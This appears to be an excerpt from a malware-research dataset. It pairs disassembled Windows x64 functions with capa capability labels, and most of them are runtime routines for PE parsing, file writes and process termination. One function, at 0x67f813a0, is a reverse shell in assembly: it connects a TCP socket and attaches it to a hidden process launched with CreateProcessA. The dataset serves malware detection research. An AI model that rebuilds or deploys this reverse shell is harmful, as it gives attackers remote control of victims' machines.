joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140080cdc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140076738
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140076738
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140080e2c
cmp rax, 0xffffffffffffffff
je 0x140080e2c
xor edi, edi
test rbp, rbp
jle 0x140080dd7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140072304
mov rbx, rax
test rax, rax
jne 0x140080d64
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140080dcd
mov edx, 0x8000
mov ecx, r14d
call fcn.140070db0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400771b8
cmp eax, 0xffffffff
je 0x140080dad
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140080d74
mov edx, r15d
mov ecx, r14d
call fcn.140070db0
jmp 0x140080dcd
cmp byte [rsi + 0x38], dil
je 0x140080dc4
cmp dword [rsi + 0x34], 5
jne 0x140080dc4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140080dcd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140071728
jmp 0x140080e40
jns 0x140080e40
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140076738
cmp rax, 0xffffffffffffffff
jne 0x140080df8
cmp byte [rsi + 0x30], dil
je 0x140080e40
mov edi, dword [rsi + 0x2c]
jmp 0x140080e40
mov ecx, r14d
call fcn.14007c02c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140080e40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140080e40
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140080e39
mov eax, dword [rsi + 0x2c]
jmp 0x140080e3e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140076738
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x67f813a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
mov dword [rbp + 0x238], edx
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x67f813f7
mov r8d, 0x1b
lea rdx, str._ERROR__WSASturtup_failed._n
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x67f8154c
mov eax, dword [rbp + 0x238]
mov dword [rbp + 0x21c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x67f814ac
mov r8d, 0x18
lea rdx, str._ERROR__connect_failed._n
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x67f8154c
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, [0x67f84035]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret

Function at 0x67f81750
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x67f817c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x67f87064]
mov r12, rcx
test ebx, ebx
jle 0x67f818f0
mov rax, qword [0x67f87068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x67f8180c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x67f81893
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x67f817f0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x67f81912
mov rax, qword [0x67f87068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x67f87068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x67f818f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x67f8188c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x67f818a0
add dword [0x67f87064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x67f87068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x67f8188c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x67f81817
mov rax, qword [0x67f87068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x67f81bc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x67f870a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x67f87080]
test rbx, rbx
je 0x67f81c14
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x67f81c0b
test r12, r12
je 0x67f81c0b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x67f81bf0
lea rcx, [0x67f870a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x67f81e30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x67f81e48
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x67f81e50
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x67f81e60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x67f81eac
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x67f81ea3
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x67f81eae
add rax, 0x28
cmp rax, r9
jne 0x67f81e90
xor eax, eax
ret

Function at 0x67f81eb0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x67f81f40
mov rdx, qword [0x67f84220]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x67f81f2e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x67f81f2e
cmp word [rax + 0x18], 0x20b
jne 0x67f81f2e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x67f81f40
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x67f81f19
add r12, 0x28
cmp r12, rsi
je 0x67f81f40
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x67f81f10
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x67f81f50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x67f84220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x67f81f70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x67f81f78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x67f81f70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x67f81fc5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x67f81fbc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x67f81f70
add rax, 0x28
cmp rax, r9
jne 0x67f81fa8
xor eax, eax
ret

Function at 0x67f81fd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x67f84220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x67f81ff0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x67f81ff8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x67f81ff0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x67f82010
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x67f84220]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x67f82030
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x67f82038
ret
cmp word [rdx + 0x18], 0x20b
jne 0x67f82030
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x67f82078
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x67f8206f
test rcx, rcx
je 0x67f82030
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x67f82060
xor eax, eax
ret
Function at 0x67f82080
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x67f84220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x67f820a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x67f820a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x67f820c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x67f84220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x67f820e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x67f820e8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x67f820e0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x67f820e0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x67f82124
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x67f82138
add rax, 0x28
cmp r9, rax
jne 0x67f82110
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x67f82150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x67f84220]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x67f82172
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x67f82180
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x67f82172
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x67f82172
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x67f82172
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x67f821cd
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x67f821e0
add rdx, 0x28
cmp r10, rdx
jne 0x67f821b8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x67f821ef
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x67f821ff
mov edx, dword [rax + 0xc]
test edx, edx
je 0x67f821d6
test ecx, ecx
jg 0x67f821e8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002920
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
lea rdi, [rcx + 0x110]
mov rbp, rdx
mov rsi, qword [rdi + 0x20]
cmp qword [rdi + 0x18], rsi
jbe 0x14000294d
call fcn.1400048c8
mov rbx, qword [rdi + 0x18]
cmp rbx, qword [rdi + 0x20]
jbe 0x14000295c
call fcn.1400048c8
mov rax, qword [rdi]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
cmp rbx, rsi
je 0x1400029aa
nop dword [rax]
mov rdx, qword [rbp]
mov rcx, qword [rbx]
call fcn.140004648
test eax, eax
jne 0x1400029a1
mov rdx, qword [rbp + 8]
mov rcx, qword [rbx + 8]
call fcn.140004648
test eax, eax
je 0x1400029aa
add rbx, 0x10
cmp rbx, rsi
jne 0x140002980
mov rsi, qword [rdi + 0x20]
cmp qword [rdi + 0x18], rsi
jbe 0x1400029b9
call fcn.1400048c8
mov rax, qword [rdi]
test rax, rax
je 0x1400029c8
cmp rax, qword [rsp + 0x20]
je 0x1400029cd
call fcn.1400048c8
cmp rsi, rbx
jne 0x1400029e7
mov rcx, qword [rbp]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov rdx, rbp
mov rcx, rdi
call fcn.140002af0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14000521b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140012070]
jne 0x1400042ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400042e6
repz ret
ror rcx, 0x10
jmp 0x140005174
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140013340]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140013438]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400051f9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140013340]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000521b
mov rax, qword [rsp + 0x88]
mov qword [0x140013438], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400133d8], rax
mov rax, qword [0x140013438]
mov qword [0x1400132b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400133c0], rax
mov dword [0x1400132a0], 0xc0000409
mov dword [0x1400132a4], 1
mov rax, qword [0x140012070]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140012078]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140013338], eax
mov ecx, 1
call fcn.1400070a4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d460]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140013338], 0
jne 0x1400052a2
mov ecx, 1
call fcn.1400070a4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000770c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140008be8
nop
cmp dword [0x1400138c8], 1
je 0x1400076b8
mov dword [0x1400138c4], 1
mov byte [0x1400138c0], r12b
test ebx, ebx
jne 0x1400076a4
mov rcx, qword [0x140014310]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140007691
mov rcx, qword [0x140014308]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140007630
call fcn.140005ff0
cmp qword [rdi], rax
jne 0x140007630
jmp 0x140007616
cmp rdi, rsi
jb 0x140007691
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140005ff0
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140014310]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140014308]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000766f
cmp r13, rax
je 0x14000768f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140007616
lea rdx, [0x14000d350]
lea rcx, [0x14000d348]
call fcn.140007460
lea rdx, [0x14000d360]
lea rcx, [0x14000d358]
call fcn.140007460
nop
test r12d, r12d
je 0x1400076c7
mov ecx, 8
call fcn.140008ae8
test r12d, r12d
jne 0x1400076f2
mov dword [0x1400138c8], 1
lea ecx, [r12 + 8]
call fcn.140008ae8
mov ecx, r15d
call fcn.1400073f4
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140007580

Function at 0x140007718
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140007580
Function at 0x140009e78
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140005ff0
xor ebx, ebx
mov rdi, rax
cmp qword [0x140014008], rbx
jne 0x140009f7e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000a053
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000a053
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140014008], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140014010], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140014018], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140014028], rax
test rax, rax
je 0x140009f75
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140014020], rax
jmp 0x140009f85
mov rax, qword [0x140014020]
jmp 0x140009f8c
mov rax, qword [0x140014020]
mov r11, qword [0x140014028]
cmp rax, rdi
je 0x140009ff4
cmp r11, rdi
je 0x140009ff4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140014028]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140009ff4
test rax, rax
je 0x140009ff4
call rsi
test rax, rax
je 0x140009fee
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140009fee
test byte [rsp + 0x38], 1
jne 0x140009ff4
bts ebp, 0x15
jmp 0x14000a032
mov rcx, qword [0x140014010]
cmp rcx, rdi
je 0x14000a032
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a032
call rax
mov rbx, rax
test rax, rax
je 0x14000a032
mov rcx, qword [0x140014018]
cmp rcx, rdi
je 0x14000a032
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a032
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140014008]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a053
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000a055
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push r12
push r13
push r15
sub rsp, 0x238
lea rcx, [0x140017334]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebp, ebp
mov r12, rax
movsxd rcx, dword [rax + 0x3c]
mov r15d, dword [rcx + rax + 0x88]
add r15, rax
mov r13d, dword [r15 + 0x1c]
mov ecx, dword [r15 + 0x20]
add r13, rax
mov edx, dword [r15 + 0x24]
add rcx, rax
add rdx, rax
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x270], rdx
cmp dword [r15 + 0x18], ebp
jbe 0x14000116d
mov qword [rsp + 0x278], rbx
mov qword [rsp + 0x230], rsi
mov qword [rsp + 0x220], r14
mov dword [rsp + 0x260], 0xb8d18b4c
mov ebx, dword [rsp + 0x260]
mov qword [rsp + 0x228], rdi
movzx eax, word [rdx + rbp*2]
mov r8d, 2
mov r14d, dword [rcx + rbp*4]
lea rdx, [0x14001733c]
add r14, r12
mov rcx, r14
mov esi, dword [r13 + rax*4]
add rsi, r12
call fcn.140007600
test eax, eax
je 0x1400010d6
mov r8d, 2
lea rdx, [0x140017340]
mov rcx, r14
call fcn.140007600
test eax, eax
jne 0x140001131
cmp dword [rsi], ebx
je 0x140001131
cmp byte [rsi], 0xe9
jne 0x14000111f
mov eax, dword [rsi + 1]
add rax, 5
lea rdi, [rsi + rax*4]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x200
lea r8, [rsp + 0x20]
mov rcx, rax
mov rdx, rdi
call sub.KERNEL32.dll_K32GetMappedFileNameA
lea r9, [rsp + 0x20]
mov r8, rsi
mov rdx, r14
lea rcx, str.Hooked:__s_:__p_into_module__s_n
call fcn.140001190
jmp 0x140001131
mov r8, rsi
lea rcx, str.Potentially_hooked:__s_:__p_n
mov rdx, r14
call fcn.140001190
mov rcx, qword [rsp + 0x268]
inc ebp
mov rdx, qword [rsp + 0x270]
cmp ebp, dword [r15 + 0x18]
jb 0x140001091
mov r14, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
mov rsi, qword [rsp + 0x230]
mov rbx, qword [rsp + 0x278]
xor eax, eax
add rsp, 0x238
pop r15
pop r13
pop r12
pop rbp
ret

Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret

Function at 0x14000839c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008198
Function at 0x14000d648
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d678
xor eax, eax
jmp 0x14000d73b
mov rbp, rbx
cmp word [rax], si
je 0x14000d69d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d684
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d680
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d568
movsxd r14, eax
test eax, eax
jne 0x14000d6db
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d671
mov rcx, r14
call fcn.140009dfc
mov rdi, rax
test rax, rax
jne 0x14000d6f4
xor ecx, ecx
call fcn.140009184
jmp 0x14000d6d0
